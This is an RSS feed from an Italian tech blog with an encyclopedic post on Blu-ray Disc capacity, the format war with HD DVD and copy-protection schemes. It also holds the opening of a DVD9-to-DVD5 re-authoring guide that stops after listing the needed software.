<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	xmlns:georss="http://www.georss.org/georss" xmlns:geo="http://www.w3.org/2003/01/geo/wgs84_pos#" xmlns:media="http://search.yahoo.com/mrss/"
	>

<channel>
	<title>HaCk At WoRk</title>
	<atom:link href="http://hackatwork.wordpress.com/feed/" rel="self" type="application/rss+xml" />
	<link>http://hackatwork.wordpress.com</link>
	<description>L'informatica a portata di click</description>
	<lastBuildDate>Mon, 07 May 2007 20:12:07 +0000</lastBuildDate>
	<language>it</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.com/</generator>
<cloud domain='hackatwork.wordpress.com' port='80' path='/?rsscloud=notify' registerProcedure='' protocol='http-post' />
<image>
		<url>http://s2.wp.com/i/buttonw-com.png</url>
		<title>HaCk At WoRk</title>
		<link>http://hackatwork.wordpress.com</link>
	</image>
	<atom:link rel="search" type="application/opensearchdescription+xml" href="http://hackatwork.wordpress.com/osd.xml" title="HaCk At WoRk" />
	<atom:link rel='hub' href='http://hackatwork.wordpress.com/?pushpress=hub'/>
		<item>
		<title>Cosa è il Blu-ray Disc?</title>
		<link>http://hackatwork.wordpress.com/2007/05/07/cosa-e-il-blu-ray-disc/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/07/cosa-e-il-blu-ray-disc/#comments</comments>
		<pubDate>Mon, 07 May 2007 20:12:07 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[Hardware]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/07/cosa-e-il-blu-ray-disc/</guid>
		<description><![CDATA[Il Blu-ray Disc (spesso abbreviato in BD) è il supporto ottico proposto dalla Sony agli inizi del 2002 come evoluzione del DVD per la televisione ad alta definizione. Grazie all&#8217;utilizzo di un laser a luce blu, riesce a contenere fino a 54 GB di dati, quasi 12 volte di più rispetto a un DVD Single [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=243&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<p>Il <strong>Blu-ray Disc</strong> (spesso abbreviato in <strong>BD</strong>) è il supporto ottico proposto dalla <a href="http://it.wikipedia.org/wiki/Sony" title="Sony">Sony</a> agli inizi del <a href="http://it.wikipedia.org/wiki/2002" title="2002">2002</a> come evoluzione del <a href="http://it.wikipedia.org/wiki/DVD" title="DVD">DVD</a> per la <a href="http://it.wikipedia.org/wiki/HDTV" title="HDTV">televisione ad alta definizione</a>. Grazie all&#8217;utilizzo di un <a href="http://it.wikipedia.org/wiki/Laser" title="Laser">laser</a> a luce blu, riesce a contenere fino a 54 <a href="http://it.wikipedia.org/wiki/Gigabyte" title="Gigabyte">GB</a> di dati, quasi 12 volte di più rispetto a un DVD Single Layer &#8211; Single Side (4,7 GB). Anche se questa capacità sembra enorme un disco da 25 GB può contenere a malapena 2 ore di filmato ad alta definizione utilizzando il tradizionale codec <a href="http://it.wikipedia.org/wiki/MPEG-2" title="MPEG-2">MPEG-2</a>. Per questo motivo, oltre all&#8217;utilizzo dei dischi a doppio strato (oltre 50 GB), è stato previsto l&#8217;impiego di <a href="http://it.wikipedia.org/wiki/Codec" title="Codec">codec</a> più sofisticati come l&#8217;<a href="http://it.wikipedia.org/wiki/MPEG-4" title="MPEG-4">MPEG-4</a> <a href="http://it.wikipedia.org/w/index.php?title=AVC&amp;action=edit" class="new" title="AVC">AVC</a> o il Windows Media Video 9 (standardizzato come <a href="http://it.wikipedia.org/wiki/VC-1" title="VC-1">VC-1</a>) che permettono in teoria di raddoppiare il fattore di compressione rispetto all&#8217;<a href="http://it.wikipedia.org/wiki/MPEG-2" title="MPEG-2">MPEG-2</a> (quindi dimezzando la richiesta di spazio) senza introdurre apprezzabili artefatti sulla qualità video.</p>
<p align="center"><img src="http://img46.imageshack.us/img46/25/280pxbluraydiscsvgzj2.png" /></p>
<p align="center"><span id="more-243"></span></p>
<p>Si decise di utilizzare il termine <em>Blu</em> al posto del corretto <em>Blue</em>, in quanto quest&#8217;ultima è una parola di uso comune e non sarebbe stato possibile registrare il marchio. Il primo apparecchio ad aver utilizzato commercialmente questa tecnologia è la <a href="http://it.wikipedia.org/wiki/PlayStation_3" title="PlayStation 3">PlayStation 3</a>, dopo che il <a href="http://it.wikipedia.org/wiki/12_agosto" title="12 agosto">12 agosto</a> <a href="http://it.wikipedia.org/wiki/2004" title="2004">2004</a> i produttori impegnati nel progetto Blu-ray dichiararono di aver approvato la versione 1.0 delle specifiche per i dischi BD-ROM. La presentazione ufficiale del nuovo supporto disponibile per il cinema ad alta definizione è avvenuta il <a href="http://it.wikipedia.org/wiki/23_maggio" title="23 maggio">23 maggio</a> <a href="http://it.wikipedia.org/wiki/2006" title="2006">2006</a> negli <a href="http://it.wikipedia.org/wiki/Stati_Uniti_d%27America" title="Stati Uniti d'America">Stati Uniti</a>.</p>
<h2><span class="mw-headline">La battaglia con il concorrente HD DVD</span></h2>
<table style="border:1px solid #aaaaaa;background:#efefef none repeat scroll 0 50%;border-collapse:collapse;font-size:95%;margin:0 0 0.5em 0.5em;" align="right" border="1" cellpadding="4" cellspacing="0" width="300">
<tr>
<th>Dischi ottici</th>
</tr>
<tr>
<td>
<p class="floatright"><span><a href="http://it.wikipedia.org/wiki/Immagine:DVD.jpg" class="image"><img src="http://upload.wikimedia.org/wikipedia/it/thumb/5/5f/DVD.jpg/130px-DVD.jpg" longdesc="/wiki/Immagine:DVD.jpg" height="97" width="130" /></a></span></p>
<ul>
<li><a href="http://it.wikipedia.org/wiki/Disco_ottico" title="Disco ottico">Disco ottico</a></li>
<li><a href="http://it.wikipedia.org/wiki/Lettore_CD" title="Lettore CD">Lettore CD</a></li>
<li><a href="http://it.wikipedia.org/wiki/Lettore_DVD" title="Lettore DVD">Lettore DVD</a></li>
<li><a href="http://it.wikipedia.org/wiki/Masterizzatore" title="Masterizzatore">Masterizzatore</a></li>
<li><a href="http://it.wikipedia.org/wiki/Super_Multi" title="Super Multi">Super Multi</a></li>
<li><a href="http://it.wikipedia.org/wiki/Software_di_masterizzazione" title="Software di masterizzazione">Software di masterizzazione</a></li>
</ul>
</td>
</tr>
<tr>
<th>Tipi di media ottici</th>
</tr>
<tr>
<td>
<p class="NavFrame" style="clear:left;border:0 none;width:100%;"><a href="toggleNavigationBar(1);" id="NavToggle1" class="NavToggle">▼ Espandi</a></p>
<p class="NavHead" style="background:#ffffff none repeat scroll 0 50%;text-align:left;"><strong><a href="http://it.wikipedia.org/wiki/Compact_disc" title="Compact disc">CD</a></strong></p>
<p class="NavContent" style="text-align:left;display:none;">
<ul>
<li><strong>Registrabili</strong>:
<ul>
<li><a href="http://it.wikipedia.org/wiki/CD-R" title="CD-R">CD-R</a></li>
<li><a href="http://it.wikipedia.org/wiki/CD-RW" title="CD-RW">CD-RW</a></li>
</ul>
</li>
<li><strong><a href="http://it.wikipedia.org/wiki/Read_only_memory" title="Read only memory">Sola lettura</a></strong>:
<ul>
<li>CD-ROM (vedi <a href="http://it.wikipedia.org/wiki/Compact_disc" title="Compact disc">CD</a>)</li>
<li><a href="http://it.wikipedia.org/wiki/CD_audio" title="CD audio">CD audio</a></li>
<li><a href="http://it.wikipedia.org/wiki/CD-i" title="CD-i">CD-i</a></li>
<li><a href="http://it.wikipedia.org/wiki/China_Video_Disc" title="China Video Disc">China Video Disc</a></li>
<li><a href="http://it.wikipedia.org/wiki/Double_Video_CD" title="Double Video CD">Double Video CD</a></li>
<li><a href="http://it.wikipedia.org/wiki/High_Quality_Video_Compact_Disc" title="High Quality Video Compact Disc">HQ-VCD</a></li>
<li><a href="http://it.wikipedia.org/wiki/Super_Audio_CD" title="Super Audio CD">Super Audio CD</a></li>
<li><a href="http://it.wikipedia.org/wiki/Super_Video_CD" title="Super Video CD">Super Video CD</a> (<a href="http://it.wikipedia.org/wiki/XVCD" title="XVCD">XVCD</a>)</li>
<li><a href="http://it.wikipedia.org/wiki/Video_CD" title="Video CD">Video CD</a></li>
</ul>
</li>
</ul>
<hr />
<p class="NavEnd">&nbsp;</p>
<p class="NavFrame" style="clear:left;border:0 none;width:100%;"><a href="toggleNavigationBar(2);" id="NavToggle2" class="NavToggle">▼ Espandi</a></p>
<p class="NavHead" style="background:#ffffff none repeat scroll 0 50%;text-align:left;"><strong><a href="http://it.wikipedia.org/wiki/DVD" title="DVD">DVD</a></strong></p>
<p class="NavContent" style="text-align:left;display:none;">
<ul>
<li><strong>Registrabili, a singolo strato</strong>:
<ul>
<li><a href="http://it.wikipedia.org/wiki/DVD-R" title="DVD-R">DVD-R</a>, <a href="http://it.wikipedia.org/wiki/DVD%2BR" title="DVD+R">DVD+R</a></li>
<li><a href="http://it.wikipedia.org/wiki/DVD-RW" title="DVD-RW">DVD-RW</a>, <a href="http://it.wikipedia.org/wiki/DVD%2BRW" title="DVD+RW">DVD+RW</a></li>
<li><a href="http://it.wikipedia.org/wiki/DVD-RAM" title="DVD-RAM">DVD-RAM</a></li>
</ul>
</li>
<li><strong>Registrabili, a doppio strato</strong>:
<ul>
<li><a href="http://it.wikipedia.org/wiki/DVD-R_DL" title="DVD-R DL">DVD-R DL</a>, <a href="http://it.wikipedia.org/wiki/DVD%2BR_DL" title="DVD+R DL">DVD+R DL</a></li>
<li><a href="http://it.wikipedia.org/w/index.php?title=DVD-RW_DL&amp;action=edit" class="new" title="DVD-RW DL">DVD-RW DL</a>, <a href="http://it.wikipedia.org/wiki/DVD%2BRW_DL" title="DVD+RW DL">DVD+RW DL</a></li>
</ul>
</li>
<li><strong><a href="http://it.wikipedia.org/wiki/Read_only_memory" title="Read only memory">Sola lettura</a></strong>:
<ul>
<li>DVD-Audio (vedi <a href="http://it.wikipedia.org/wiki/DVD" title="DVD">DVD</a>)</li>
<li><a href="http://it.wikipedia.org/wiki/DVD-D" title="DVD-D">DVD-D</a></li>
<li>DVD-ROM (vedi <a href="http://it.wikipedia.org/wiki/DVD" title="DVD">DVD</a>)</li>
<li>DVD-Video (vedi <a href="http://it.wikipedia.org/wiki/DVD" title="DVD">DVD</a>)</li>
<li><a href="http://it.wikipedia.org/wiki/Superbit" title="Superbit">Superbit</a></li>
<li><a href="http://it.wikipedia.org/wiki/Universal_Media_Disc" title="Universal Media Disc">UMD</a></li>
</ul>
</li>
</ul>
<hr />
<p class="NavEnd">&nbsp;</p>
<p class="NavFrame" style="clear:left;border:0 none;width:100%;"><a href="toggleNavigationBar(3);" id="NavToggle3" class="NavToggle">▼ Espandi</a></p>
<p class="NavHead" style="background:#ffffff none repeat scroll 0 50%;text-align:left;"><strong><a href="http://it.wikipedia.org/wiki/HDTV" title="HDTV">Alta definizione</a></strong></p>
<p class="NavContent" style="text-align:left;display:none;">
<ul>
<li><strong>Blu-ray Disc</strong></li>
<li><a href="http://it.wikipedia.org/wiki/HD-DVD" title="HD-DVD">HD-DVD</a></li>
<li><a href="http://it.wikipedia.org/w/index.php?title=HD-DMD&amp;action=edit" class="new" title="HD-DMD">HD-DMD</a></li>
<li><a href="http://it.wikipedia.org/wiki/Holographic_Versatile_Disc" title="Holographic Versatile Disc">HVD</a></li>
</ul>
<hr />
<p class="NavEnd">&nbsp;</p>
<p class="NavFrame" style="clear:left;border:0 none;width:100%;"><a href="toggleNavigationBar(4);" id="NavToggle4" class="NavToggle">▼ Espandi</a></p>
<p class="NavHead" style="background:#ffffff none repeat scroll 0 50%;text-align:left;"><strong>Altri formati</strong></p>
<p class="NavContent" style="text-align:left;display:none;">
<ul>
<li><strong><a href="http://it.wikipedia.org/wiki/Laser_disc" title="Laser disc">Laser disc</a></strong></li>
<li><strong><a href="http://it.wikipedia.org/wiki/DualDisc" title="DualDisc">DualDisc</a></strong></li>
<li><strong><a href="http://it.wikipedia.org/wiki/Enhanced_Versatile_Disc" title="Enhanced Versatile Disc">EVD</a></strong></li>
<li><strong><a href="http://it.wikipedia.org/wiki/Fluorescent_Multilayer_Disc" title="Fluorescent Multilayer Disc">FMD</a></strong> / <strong><a href="http://it.wikipedia.org/wiki/Digital_Multilayer_Disk" title="Digital Multilayer Disk">DMD</a></strong></li>
<li><strong><a href="http://it.wikipedia.org/wiki/Disco_magneto-ottico" title="Disco magneto-ottico">Disco magneto-ottico</a></strong></li>
<li><strong><a href="http://it.wikipedia.org/wiki/Multiplexed_Optical_Data_Storage" title="Multiplexed Optical Data Storage">MODS</a></strong></li>
</ul>
<hr />
<p class="NavEnd">&nbsp;</p>
<p class="NavFrame" style="clear:left;border:0 none;width:100%;"><a href="toggleNavigationBar(5);" id="NavToggle5" class="NavToggle">▼ Espandi</a></p>
<p class="NavHead" style="background:#dddddd none repeat scroll 0 50%;text-align:center;">Standard</p>
<p class="NavContent" style="text-align:left;display:none;">
<ul>
<li><a href="http://it.wikipedia.org/wiki/Rainbow_Books" title="Rainbow Books">Rainbow Books</a></li>
<li><a href="http://it.wikipedia.org/wiki/File_system" title="File system">File system</a>
<ul>
<li><a href="http://it.wikipedia.org/wiki/ISO_9660" title="ISO 9660">ISO 9660</a>
<ul>
<li><a href="http://it.wikipedia.org/wiki/Joliet" title="Joliet">Joliet</a></li>
<li><a href="http://it.wikipedia.org/wiki/Rock_Ridge" title="Rock Ridge">Rock Ridge</a></li>
<li><a href="http://it.wikipedia.org/wiki/El_Torito" title="El Torito">El Torito</a></li>
</ul>
</li>
<li><a href="http://it.wikipedia.org/wiki/Universal_Disk_Format" title="Universal Disk Format">UDF</a>
<ul>
<li><a href="http://it.wikipedia.org/w/index.php?title=Mount_Rainier&amp;action=edit" class="new" title="Mount Rainier">Mount Rainier</a></li>
</ul>
</li>
</ul>
</li>
</ul>
<p class="NavEnd">&nbsp;</p>
</td>
</tr>
<tr>
<th>L&#8217;industria</th>
</tr>
<tr>
<td>
<ul>
<li><a href="http://it.wikipedia.org/wiki/DVD_Forum" title="DVD Forum">DVD Forum</a></li>
<li><a href="http://it.wikipedia.org/wiki/DVD%2BRW_Alliance" title="DVD+RW Alliance">DVD+RW Alliance</a></li>
<li><a href="http://it.wikipedia.org/wiki/Elenco_dei_produttori_di_lettori_DVD" title="Elenco dei produttori di lettori DVD">Elenco dei produttori di lettori DVD</a></li>
</ul>
</td>
</tr>
</table>
<p>Sia il BD che il concorrente formato <a href="http://it.wikipedia.org/wiki/HD_DVD" title="HD DVD">HD DVD</a>, sono supportati da insiemi di aziende, che lottano per imporre il proprio formato. Essendo basato su una tecnologia di costruzione differente da quella utilizzata per <a href="http://it.wikipedia.org/wiki/CD-ROM" title="CD-ROM">CD-ROM</a> e DVD, il BD potrebbe essere più costoso da produrre, almeno inizialmente, rispetto all&#8217;HD DVD, che però ha una capacità di soli 15 GB per strato e 30 GB utilizzando il doppio strato. Il prezzo per l&#8217;utente finale, però, dipenderà dalle politiche della case editrici: nelle produzioni BD ed HD DVD americane attuali, il prezzo finale di vendita dei film pre-registrati è identico e non c&#8217;è nulla che lasci trapelare un maggiore costo di realizzazione del Blu-ray Disc, se non il fatto che tutti i primi titoli realizzati facciano ancora uso del disco da 25 GB (singolo strato), con l&#8217;utilizzo dei supporti a doppio strato (50 GB) previsto nell&#8217;immediato futuro.</p>
<p>La capacità dei due supporti comunque non si limiterà ai valori attuali. Già al CEATEC 2004 fu presentato per il Blu-ray Disc un prototipo di supporto a 4 strati, capace di raggiungere una capacità di 100 GB, con esperimenti in corso per un ulteriore raddoppio fino ad 8 strati o 200 GB. In risposta, il <a href="http://it.wikipedia.org/wiki/12_maggio" title="12 maggio">12 maggio</a> <a href="http://it.wikipedia.org/wiki/2005" title="2005">2005</a> al <a href="http://it.wikipedia.org/w/index.php?title=Media-Tech_Expo&amp;action=edit" class="new" title="Media-Tech Expo">Media-Tech Expo</a> di <a href="http://it.wikipedia.org/wiki/Los_Angeles" title="Los Angeles">Los Angeles</a> è stata proposta una evoluzione anche per l&#8217;<a href="http://it.wikipedia.org/wiki/HD_DVD" title="HD DVD">HD DVD</a>, dimostrando l&#8217;impiego di dischi da 45 GB a 3 strati. Queste versioni multi-layer di HD DVD e Blu-ray saranno perfezionate ed utilizzate in un prossimo futuro, mentre per il momento si diffonderanno solamente supporti ad 1 e 2 strati e player compatibili.</p>
<p>La tecnologia alla base di Blu-ray è più complessa e sofisticata, ma permette di raggiungere capacità teoriche superiori ai 500 GB per singolo disco. Al contrario, HD DVD punta meno sulla capacità massima di storage e più sulla compatibilità con l&#8217;attuale tecnologia DVD a laser rosso. Uno dei motivi principali per cui lo standard Blu-ray consente capacità superiori rispetto al concorrente è rappresentato dallo spessore dello strato protettivo. I dischi DVD e HD DVD dispongono di un polimero trasparente di 0,6 <a href="http://it.wikipedia.org/wiki/Mm" title="Mm">mm</a> che copre i substrati, mentre lo strato del Blu-ray è di solo 0,1 mm. Questo significa che il substrato è molto vicino alla superficie, e la <a href="http://it.wikipedia.org/wiki/Scattering" title="Scattering">diffusione</a> del laser è minore. Meno materiale il laser deve penetrare, maggiore sarà l&#8217;<a href="http://it.wikipedia.org/wiki/Apertura_numerica" title="Apertura numerica">apertura numerica</a> e minore sarà la distanza tra due tracce e la lunghezza dei pit. In parole povere, questi cambiamenti permettono maggiore densità di dati su un disco Blu-ray anziché su un DVD o un HD DVD.</p>
<h3><span class="mw-headline">Dischi capienti e prezzi bassi</span></h3>
<p class="thumb tright">
<p class="thumbinner" style="width:202px;"><a href="http://it.wikipedia.org/wiki/Immagine:Bluray.png" class="internal" title="Un disco Blu-ray"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/d/d7/Bluray.png/200px-Bluray.png" alt="Un disco Blu-ray" longdesc="/wiki/Immagine:Bluray.png" class="thumbimage" height="200" width="200" /></a></p>
<p class="thumbcaption">
<p class="magnify" style="float:right;"><a href="http://it.wikipedia.org/wiki/Immagine:Bluray.png" class="internal" title="Ingrandisci"><img src="http://it.wikipedia.org/skins-1.5/common/images/magnify-clip.png" height="11" width="15" /></a></p>
<p>Un disco Blu-ray</p>
<p class="thumb tright">
<p class="thumbinner" style="width:182px;"><a href="http://it.wikipedia.org/wiki/Immagine:IFA_2005_Panasonic_Blu-ray_Disc_Single_Layer_25GB_%28by_HDTVTotalDOTcom%29.jpg" class="internal" title="Prototipo di un disco Blu-ray"><img src="http://upload.wikimedia.org/wikipedia/commons/thumb/4/47/IFA_2005_Panasonic_Blu-ray_Disc_Single_Layer_25GB_%28by_HDTVTotalDOTcom%29.jpg/180px-IFA_2005_Panasonic_Blu-ray_Disc_Single_Layer_25GB_%28by_HDTVTotalDOTcom%29.jpg" alt="Prototipo di un disco Blu-ray" longdesc="/wiki/Immagine:IFA_2005_Panasonic_Blu-ray_Disc_Single_Layer_25GB_%28by_HDTVTotalDOTcom%29.jpg" class="thumbimage" height="141" width="180" /></a></p>
<p class="thumbcaption">
<p class="magnify" style="float:right;"><a href="http://it.wikipedia.org/wiki/Immagine:IFA_2005_Panasonic_Blu-ray_Disc_Single_Layer_25GB_%28by_HDTVTotalDOTcom%29.jpg" class="internal" title="Ingrandisci"><img src="http://it.wikipedia.org/skins-1.5/common/images/magnify-clip.png" height="11" width="15" /></a></p>
<p>Prototipo di un disco Blu-ray</p>
<p>Blu-ray attualmente offre tre differenti capacità di archiviazione, 23.3 GB, 25 GB e 27 GB, solo leggermente differenti in quanto utilizzano i medesimi supporti ma variano la quantità di dati immagazzinati grazie all&#8217;utilizzo di tre differenti lunghezze dei bit. È anche possibile diminuire ancora di più la lunghezza dei bit, e incrementare la capacità di archiviazione per strato, in inglese chiamato <em>layer</em>. In contrasto, HD DVD utilizza una lunghezza del bit fissa, quindi la capacità per layer è fissa a 15 GB.</p>
<p>Con i dischi Blu-ray da 25 GB già sul mercato, e con quelli da 50 GB sulla linea di partenza, Sony era già al lavoro sui supporti da 200 GB: una capacità che sarebbe stata raggiunta con l&#8217;adozione di otto strati. Tale capacità è stata poi raggiunta e presentata il <a href="http://it.wikipedia.org/wiki/26_maggio" title="26 maggio">26 maggio</a> <a href="http://it.wikipedia.org/wiki/2005" title="2005">2005</a> da parte della Blu-ray Disc Association che ha dichiarato, inoltre, che ormai i costi di produzione dei dischi BD-ROM con capacità da 25 e 50 GByte sono molto simili a quelli degli odierni DVD Dual Layer. In questo periodo di lotta e mancato accordo per il formato unico con il consorzio HD DVD, il fatto che i costi di produzione siano simili alla concorrenza (ma con risultati migliori) segna un punto a favore per il Blu-ray.</p>
<h3><span class="mw-headline">Protezione dei dati</span></h3>
<p>Sul fronte della sicurezza dei dati contro la contraffazione Blu-ray utilizza l&#8217;Advanced Encryption Standard (<a href="http://it.wikipedia.org/wiki/AES" title="AES">AES</a>) con chiavi a <a href="http://it.wikipedia.org/wiki/128_bit" title="128 bit">128 bit</a> che cambiano ogni 6 Kb di dati. In una conferenza del <a href="http://it.wikipedia.org/wiki/2004" title="2004">2004</a>, Sony ha mostrato come una singola chiave veniva utilizzata per decriptare un DVD Standard, mentre la chiave cambiava centinaia di volte durante la riproduzione. Il protocollo di gestione dei contenuti digitali funzionerà in cooperazione con il protocollo <a href="http://it.wikipedia.org/wiki/HDCP" title="HDCP">HDCP</a> per impedire la riproduzione a dispositivi non abilitati.</p>
<p>Il Blu-ray utilizza 3 meccanismi di protezione dei dati. Il primo è l&#8217;<a href="http://it.wikipedia.org/wiki/AACS" title="AACS">AACS</a>, evoluzione del <a href="http://it.wikipedia.org/wiki/Content_Scrambling_System" title="Content Scrambling System">Content Scrambling System</a> (CSS) utilizzato per i DVD. L&#8217;<a href="http://it.wikipedia.org/wiki/AACS" title="AACS">AACS</a> cripta i dati veri e propri e può essere decodificato solamente conoscendo le apposite chiavi rilasciate ai produttori di player. L&#8217;<a href="http://it.wikipedia.org/wiki/AACS" title="AACS">AACS</a>, quindi, di fatto serve ad impedire la riproduzione di dischi da parte di dispositivi non autorizzati o contraffatti (e che quindi potrebbero illegalmente trasferire il contenuto del supporto verso altri sistemi).</p>
<p>Un secondo meccanismo di protezione è quello del Digital Watermarking. Praticamente nel disco vengono inserite delle &#8220;impronte&#8221; realizzate mediante opportune modifiche della forma dei bit, invisibili all&#8217;occhio umano, ma il cui schema può essere intercettato e ricostruito dal player durante la riproduzione. Se il player non individua lo schema, il disco viene identificato come contraffatto e non riprodotto. Il Digital Watermarking, quindi, serve ad impedire la riproduzione di dischi prodotti illegalmente.</p>
<p>Il terzo sistema è chiamato BD+ e si basa su una Virtual Machine che può girare nel riproduttore di Blu-ray Disc utilizzando un codice sorgente registrato direttamente nei supporti pre-registrati. Al momento del caricamento del disco, il codice viene estratto e portato nella memoria del player, dove viene fatto girare. Il codice permette di decodificare il materiale registrato sul disco che è stato modificato applicando un secondo livello di protezione, aggiuntivo rispetto all&#8217;<a href="http://it.wikipedia.org/wiki/AACS" title="AACS">AACS</a>, e che prevede la sostituzione di porzioni di dati utili con porzioni di dati non significative. Se tali porzioni non vengono ripristinate, il materiale risulta corrotto e quindi non leggibile. Il programma che gira nella Virtual Machine del BD player, si occupa appunto di ricostruire il flusso corretto di bit, permettendo la lettura del disco. Il BD+ offre due meccanismi molto potenti di protezione: innanzitutto il codice non risiede mai permamentemente nel player, in quanto non appena viene estratto il disco la memoria della Virtual Machine viene azzerata. Questo significa che il codice non è direttamente accessibile dal player e che questo non può essere &#8220;violato&#8221;. In secondo luogo, poiché il codice risiede solo nel supporto, è possibile modificarlo ogni qual volta il codice in uso risulti violato, rendendo così il sistema aggiornabile. La combinazione dei 3 meccanismi di protezione è considerata molto più sicura rispetto al solo <a href="http://it.wikipedia.org/wiki/AACS" title="AACS">AACS</a> utilizzato per l&#8217;<a href="http://it.wikipedia.org/wiki/HD_DVD" title="HD DVD">HD DVD</a>.</p>
<br /><img alt="" border="0" src="http://feeds.wordpress.com/1.0/categories/hackatwork.wordpress.com/243/" /> <img alt="" border="0" src="http://feeds.wordpress.com/1.0/tags/hackatwork.wordpress.com/243/" /> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gocomments/hackatwork.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/comments/hackatwork.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godelicious/hackatwork.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/delicious/hackatwork.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gofacebook/hackatwork.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/facebook/hackatwork.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gotwitter/hackatwork.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/twitter/hackatwork.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/gostumble/hackatwork.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/stumble/hackatwork.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/godigg/hackatwork.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/digg/hackatwork.wordpress.com/243/" /></a> <a rel="nofollow" href="http://feeds.wordpress.com/1.0/goreddit/hackatwork.wordpress.com/243/"><img alt="" border="0" src="http://feeds.wordpress.com/1.0/reddit/hackatwork.wordpress.com/243/" /></a> <img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=243&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></content:encoded>
			<wfw:commentRss>http://hackatwork.wordpress.com/2007/05/07/cosa-e-il-blu-ray-disc/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
	
		<media:content url="http://0.gravatar.com/avatar/e3ac2006bf0a31f8ea8e7d90951cd247?s=96&#38;d=identicon&#38;r=G" medium="image">
			<media:title type="html">regisinferni</media:title>
		</media:content>

		<media:content url="http://img46.imageshack.us/img46/25/280pxbluraydiscsvgzj2.png" medium="image" />

		<media:content url="http://upload.wikimedia.org/wikipedia/it/thumb/5/5f/DVD.jpg/130px-DVD.jpg" medium="image" />

		<media:content url="http://upload.wikimedia.org/wikipedia/commons/thumb/d/d7/Bluray.png/200px-Bluray.png" medium="image">
			<media:title type="html">Un disco Blu-ray</media:title>
		</media:content>

		<media:content url="http://it.wikipedia.org/skins-1.5/common/images/magnify-clip.png" medium="image" />

		<media:content url="http://upload.wikimedia.org/wikipedia/commons/thumb/4/47/IFA_2005_Panasonic_Blu-ray_Disc_Single_Layer_25GB_%28by_HDTVTotalDOTcom%29.jpg/180px-IFA_2005_Panasonic_Blu-ray_Disc_Single_Layer_25GB_%28by_HDTVTotalDOTcom%29.jpg" medium="image">
			<media:title type="html">Prototipo di un disco Blu-ray</media:title>
		</media:content>

		<media:content url="http://it.wikipedia.org/skins-1.5/common/images/magnify-clip.png" medium="image" />
	</item>
		<item>
		<title>Guida alla codifica DVD9 to DVD5</title>
		<link>http://hackatwork.wordpress.com/2007/05/07/guida-alla-codifica-dvd9-to-dvd5/</link>
		<comments>http://hackatwork.wordpress.com/2007/05/07/guida-alla-codifica-dvd9-to-dvd5/#comments</comments>
		<pubDate>Mon, 07 May 2007 20:07:17 +0000</pubDate>
		<dc:creator>regisinferni</dc:creator>
				<category><![CDATA[How to]]></category>

		<guid isPermaLink="false">http://hackatwork.wordpress.com/2007/05/07/guida-alla-codifica-dvd9-to-dvd5/</guid>
		<description><![CDATA[Introduzione Questa guida ha lo scopo di farvi capire, in pochi semplici passi, come effettuare il reauthoring di un dvd video a doppio strato (9 GB) in uno a singolo strato (4,7 GB). Purtroppo questa procedura non è una soluzione nativa per linux in quanto, come leggerete in seguito, dovrete emulare tramite Wine un ottimo [...]<img alt="" border="0" src="http://stats.wordpress.com/b.gif?host=hackatwork.wordpress.com&amp;blog=1105648&amp;post=254&amp;subd=hackatwork&amp;ref=&amp;feed=1" width="1" height="1" />]]></description>
			<content:encoded><![CDATA[<h2>Introduzione</h2>
<p>Questa guida ha lo scopo di farvi capire, in pochi semplici passi, come effettuare il reauthoring di un dvd video a doppio strato (9 GB) in uno a singolo strato (4,7 GB). Purtroppo questa procedura non è una soluzione nativa per linux in quanto, come leggerete in seguito, dovrete emulare tramite Wine un ottimo programma freeware per sistemi operativi Microsoft. Vi ricordo che ci sono leggi ben precise che puniscono la duplicazione di materiale coperto da copyright, ma questo non è il luogo adatto per parlarne.</p>
<p align="center"><img src="http://img504.imageshack.us/img504/2208/verbatimdvdr85gbduallaybi5.jpg" /></p>
<p align="center"><span id="more-254"></span></p>
<p><a name="Programmi_necessari"></a></p>
<h2>Programmi necessari</h2>
<p>Wine &#8212; <a href="http://www.winehq.com/" class="external" rel="nofollow">http://www.winehq.com</a> &#8212; uguale o superiore alla versione 20040716 &#8211; DvdShrink &#8212; <a href="http://www.dvdshrink.org/" class="external" rel="nofollow">http://www.dvdshrink.org</a> &#8212; uguale o superiore alla versione 3.2 &#8211; growisofs (compreso nei dvd+rw-tools) &#8212; <a href="http://fy.chalmers.se/%7Eappro/linux/DVD+RW/" class="external" rel="nofollow">http://fy.chalmers.se/~appro/linux/DVD+RW/</a></p>
<p><a name="Installazione"></a></p>
<h2>Installazione</h2>
<p>Procediamo ora con la fasi di installazione di Wine:</p>
